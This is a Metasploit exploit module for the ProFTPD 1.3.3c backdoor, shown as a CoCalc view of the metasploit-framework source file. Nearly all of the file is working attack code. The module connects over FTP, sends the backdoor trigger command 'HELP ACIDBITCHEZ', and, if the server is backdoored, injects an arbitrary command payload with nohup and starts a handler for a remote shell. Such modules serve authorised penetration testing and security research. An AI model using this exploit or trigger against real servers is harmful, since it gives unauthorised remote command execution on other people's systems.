CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/unix/ftp/proftpd_133c_backdoor.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::Ftp
10
11
def initialize(info = {})
12
super(update_info(info,
13
'Name' => 'ProFTPD-1.3.3c Backdoor Command Execution',
14
'Description' => %q{
15
This module exploits a malicious backdoor that was added to the
16
ProFTPD download archive. This backdoor was present in the proftpd-1.3.3c.tar.[bz2|gz]
17
archive between November 28th 2010 and 2nd December 2010.
18
},
19
'Author' => [ 'MC', 'darkharper2' ],
20
'License' => MSF_LICENSE,
21
'References' =>
22
[
23
[ 'OSVDB', '69562'],
24
[ 'BID', '45150' ]
25
],
26
'Privileged' => true,
27
'Platform' => [ 'unix' ],
28
'Arch' => ARCH_CMD,
29
'Payload' =>
30
{
31
'Space' => 2000,
32
'BadChars' => '',
33
'DisableNops' => true,
34
'Compat' =>
35
{
36
'PayloadType' => 'cmd',
37
'RequiredCmd' => 'generic perl telnet',
38
}
39
},
40
'Targets' =>
41
[
42
[ 'Automatic', { } ],
43
],
44
'DisclosureDate' => '2010-12-02',
45
'DefaultTarget' => 0))
46
47
deregister_options('FTPUSER', 'FTPPASS')
48
end
49
50
def exploit
51
52
connect
53
54
print_status("Sending Backdoor Command")
55
sock.put("HELP ACIDBITCHEZ\r\n")
56
57
res = sock.get_once(-1,10)
58
59
if ( res and res =~ /502/ )
60
print_error("Not backdoored")
61
else
62
sock.put("nohup " + payload.encoded + " >/dev/null 2>&1\n")
63
handler
64
end
65
66
disconnect
67
68
end
69
end
70
71